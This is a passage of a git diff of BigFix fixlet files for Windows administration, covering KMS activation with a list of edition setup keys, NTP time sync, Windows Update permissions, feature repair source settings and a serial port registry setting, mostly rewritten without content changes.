XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") }"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    // NOTE: this will set the client's clock to match it's parent relay, so hopefully it's clock is correct!
+    set clock
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" -ipk { parameter "KMSkey" }
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes
index a62a701a1..8568724e0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows - Turn on Synchronize with NTP server (2587).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration - Windows - Turn on Synchronize with NTP server
-  ID       : 2587
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-08-29T14:57:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration - Windows - Turn on Synchronize with NTP server</Title>
-    <Description>This will turn on NTP time sync in windows if and only if it is currently off.</Description>
-    <Relevance>&quot;NoSync&quot; = value &quot;Type&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
-    <Relevance>exists value &quot;Type&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
-    <Category>Configuration</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2011-09-19</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 29 Aug 2013 21:57:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters]&quot; &quot;Type&quot;=&quot;NTP&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration - Windows - Turn on Synchronize with NTP server
+  ID       : 2587
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-29T14:57:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration - Windows - Turn on Synchronize with NTP server</Title>
+    <Description>This will turn on NTP time sync in windows if and only if it is currently off.</Description>
+    <Relevance>&quot;NoSync&quot; = value &quot;Type&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
+    <Relevance>exists value &quot;Type&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters&quot; of registry</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2011-09-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Aug 2013 21:57:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\Parameters]&quot; &quot;Type&quot;=&quot;NTP&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes
index 8289a233a..25caf2755 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration - Windows Update - Allow a Standard User to use Windows Update (2583).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Configuration - Windows Update - Allow a Standard User to use Windows Update
-  ID       : 2583
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-08-29T13:29:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Configuration - Windows Update - Allow a Standard User to use Windows Update</Title>
-    <Description><![CDATA[Allow a Standard User to use Windows Update.<VALUE> ]]></Description>
-    <Relevance>exists value &quot;ElevateNonAdmins&quot; whose (1 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&quot; of native registry</Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows Vista or Higher */ version of operating system >= "6.0"]]></Relevance>
-    <Category>Configuration</Category>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Windows Registry Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 29 Aug 2013 20:28:31 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp;</PreLink>
-        <Link>here&amp;nbsp;</Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]&quot; &quot;ElevateNonAdmins&quot;=dword:00000001
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configuration - Windows Update - Allow a Standard User to use Windows Update
+  ID       : 2583
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-29T13:29:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configuration - Windows Update - Allow a Standard User to use Windows Update</Title>
+    <Description><![CDATA[Allow a Standard User to use Windows Update.<VALUE> ]]></Description>
+    <Relevance>exists value &quot;ElevateNonAdmins&quot; whose (1 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&quot; of native registry</Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows Vista or Higher */ version of operating system >= "6.0"]]></Relevance>
+    <Category>Configuration</Category>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 29 Aug 2013 20:28:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]&quot; &quot;ElevateNonAdmins&quot;=dword:00000001
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes
index 18dc8c6ef..650db581a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO (6047).bes	
@@ -1,60 +1,60 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO
-  ID       : 6047
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T12:36:39
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later TODO</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.2"]]></Relevance>
-    <Relevance>not exists values &quot;RepairContentServerSource&quot; whose(it as string = &quot;2&quot;) of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing&quot; of (x64 registries;x32 registries)</Relevance>
-    <Category>Configuration</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2015-01-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 13 Jan 2015 20:26:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//  http://msdn.microsoft.com/en-us/library/hh506443%28v=vs.110%29.aspx
-//  http://support.microsoft.com/kb/900935
-//  http://technet.microsoft.com/en-us/library/hh825020.aspx
-//  http://community.spiceworks.com/how_to/show/30581-install-net-3-5-on-windows-8
-//  http://blogs.technet.com/b/yungchou/archive/2013/12/19/windows-server-2012-r2-installation-options-and-features-on-demand-part-2-of-5.aspx
-//  https://www.vanstechelman.eu/windows-group-policy-encyclopedia/fbb6a5344049e798501f7b5a273784e6/specify-settings-for-optional-component-installation-and-component
-//  http://windowsitpro.com/article/windowsserver2012/set-central-wim-file-145040
-//  http://windowsitpro.com/article/windowsserver2012/add-net-framework-35-vhd-145039
-//  http://www.howtogeek.com/116184/how-to-see-which-group-policies-are-applied-to-your-pc-and-user-account/
-//  http://technet.microsoft.com/en-us/library/dn482065.aspx
-//  http://msdn.microsoft.com/en-us/library/hh506443(v=vs.110).aspx
-//  http://msdn.microsoft.com/en-us/library/windows/desktop/hh848079(v=vs.85).aspx
-//  http://blogs.technet.com/b/joscon/archive/2013/03/29/features-on-demand-part-2.aspx
-
-
-//   netsh winhttp set proxy proxyservername:portnumber
-
-
-// Set reg to allow WU to be contacted directly
-regset   &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later   TODO
+  ID       : 6047
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:36:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later TODO</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.2"]]></Relevance>
+    <Relevance>not exists values &quot;RepairContentServerSource&quot; whose(it as string = &quot;2&quot;) of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing&quot; of (x64 registries;x32 registries)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2015-01-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 13 Jan 2015 20:26:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://msdn.microsoft.com/en-us/library/hh506443%28v=vs.110%29.aspx
+//  http://support.microsoft.com/kb/900935
+//  http://technet.microsoft.com/en-us/library/hh825020.aspx
+//  http://community.spiceworks.com/how_to/show/30581-install-net-3-5-on-windows-8
+//  http://blogs.technet.com/b/yungchou/archive/2013/12/19/windows-server-2012-r2-installation-options-and-features-on-demand-part-2-of-5.aspx
+//  https://www.vanstechelman.eu/windows-group-policy-encyclopedia/fbb6a5344049e798501f7b5a273784e6/specify-settings-for-optional-component-installation-and-component
+//  http://windowsitpro.com/article/windowsserver2012/set-central-wim-file-145040
+//  http://windowsitpro.com/article/windowsserver2012/add-net-framework-35-vhd-145039
+//  http://www.howtogeek.com/116184/how-to-see-which-group-policies-are-applied-to-your-pc-and-user-account/
+//  http://technet.microsoft.com/en-us/library/dn482065.aspx
+//  http://msdn.microsoft.com/en-us/library/hh506443(v=vs.110).aspx
+//  http://msdn.microsoft.com/en-us/library/windows/desktop/hh848079(v=vs.85).aspx
+//  http://blogs.technet.com/b/joscon/archive/2013/03/29/features-on-demand-part-2.aspx
+
+
+//   netsh winhttp set proxy proxyservername:portnumber
+
+
+// Set reg to allow WU to be contacted directly
+regset   &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes
index 231181644..9bcacde15 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Allow Windows Update to be used for Installing Features - Windows 8 or later (6067).bes	
@@ -1,61 +1,61 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later
-  ID       : 6067
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-12T13:04:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later</Title>
-    <Description><![CDATA[<P>Needs tested.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.2"]]></Relevance>
-    <Relevance>not exists values &quot;RepairContentServerSource&quot; whose(it as string = &quot;2&quot;) of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing&quot; of (x64 registries;x32 registries)</Relevance>
-    <Category>Configuration</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2015-01-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 12 May 2015 20:04:00 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//  http://msdn.microsoft.com/en-us/library/hh506443%28v=vs.110%29.aspx
-//  http://support.microsoft.com/kb/900935
-//  http://technet.microsoft.com/en-us/library/hh825020.aspx
-//  http://community.spiceworks.com/how_to/show/30581-install-net-3-5-on-windows-8
-//  http://blogs.technet.com/b/yungchou/archive/2013/12/19/windows-server-2012-r2-installation-options-and-features-on-demand-part-2-of-5.aspx
-//  https://www.vanstechelman.eu/windows-group-policy-encyclopedia/fbb6a5344049e798501f7b5a273784e6/specify-settings-for-optional-component-installation-and-component
-//  http://windowsitpro.com/article/windowsserver2012/set-central-wim-file-145040
-//  http://windowsitpro.com/article/windowsserver2012/add-net-framework-35-vhd-145039
-//  http://www.howtogeek.com/116184/how-to-see-which-group-policies-are-applied-to-your-pc-and-user-account/
-//  http://technet.microsoft.com/en-us/library/dn482065.aspx
-//  http://msdn.microsoft.com/en-us/library/hh506443(v=vs.110).aspx
-//  http://msdn.microsoft.com/en-us/library/windows/desktop/hh848079(v=vs.85).aspx
-//  http://blogs.technet.com/b/joscon/archive/2013/03/29/features-on-demand-part-2.aspx
-
-
-//   netsh winhttp set proxy proxyservername:portnumber
-
-
-// Set reg to allow WU to be contacted directly
-regset   &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
-regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later
+  ID       : 6067
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T13:04:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Allow Windows Update to be used for Installing Features - Windows 8 or later</Title>
+    <Description><![CDATA[<P>Needs tested.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.2"]]></Relevance>
+    <Relevance>not exists values &quot;RepairContentServerSource&quot; whose(it as string = &quot;2&quot;) of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing&quot; of (x64 registries;x32 registries)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2015-01-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 20:04:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://msdn.microsoft.com/en-us/library/hh506443%28v=vs.110%29.aspx
+//  http://support.microsoft.com/kb/900935
+//  http://technet.microsoft.com/en-us/library/hh825020.aspx
+//  http://community.spiceworks.com/how_to/show/30581-install-net-3-5-on-windows-8
+//  http://blogs.technet.com/b/yungchou/archive/2013/12/19/windows-server-2012-r2-installation-options-and-features-on-demand-part-2-of-5.aspx
+//  https://www.vanstechelman.eu/windows-group-policy-encyclopedia/fbb6a5344049e798501f7b5a273784e6/specify-settings-for-optional-component-installation-and-component
+//  http://windowsitpro.com/article/windowsserver2012/set-central-wim-file-145040
+//  http://windowsitpro.com/article/windowsserver2012/add-net-framework-35-vhd-145039
+//  http://www.howtogeek.com/116184/how-to-see-which-group-policies-are-applied-to-your-pc-and-user-account/
+//  http://technet.microsoft.com/en-us/library/dn482065.aspx
+//  http://msdn.microsoft.com/en-us/library/hh506443(v=vs.110).aspx
+//  http://msdn.microsoft.com/en-us/library/windows/desktop/hh848079(v=vs.85).aspx
+//  http://blogs.technet.com/b/joscon/archive/2013/03/29/features-on-demand-part-2.aspx
+
+
+//   netsh winhttp set proxy proxyservername:portnumber
+
+
+// Set reg to allow WU to be contacted directly
+regset   &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes
index 26bede1db..228f25cda 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Disable serial port ForceFifoEnable - Windows
-  ID       : 3864
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-09-29T14:56:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Disable serial port ForceFifoEnable - Windows</Title>
-    <Description><![CDATA[<P>This task will set the ForceFifoEnable registry setting to 0</P>
-<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://technet.microsoft.com/en-us/library/cc962417.aspx">http://technet.microsoft.com/en-us/library/cc962417.aspx</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists values whose(name of it = &quot;ForceFifoEnable&quot; AND it as string as integer = 0) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-09-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 29 Sep 2014 21:51:43 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//  http://technet.microsoft.com/en-us/library/cc962417.aspx
-regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial]&quot; &quot;ForceFifoEnable&quot;=dword:0
-
-// the setting may not take effect until the system has been restarted
-action requires restart
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
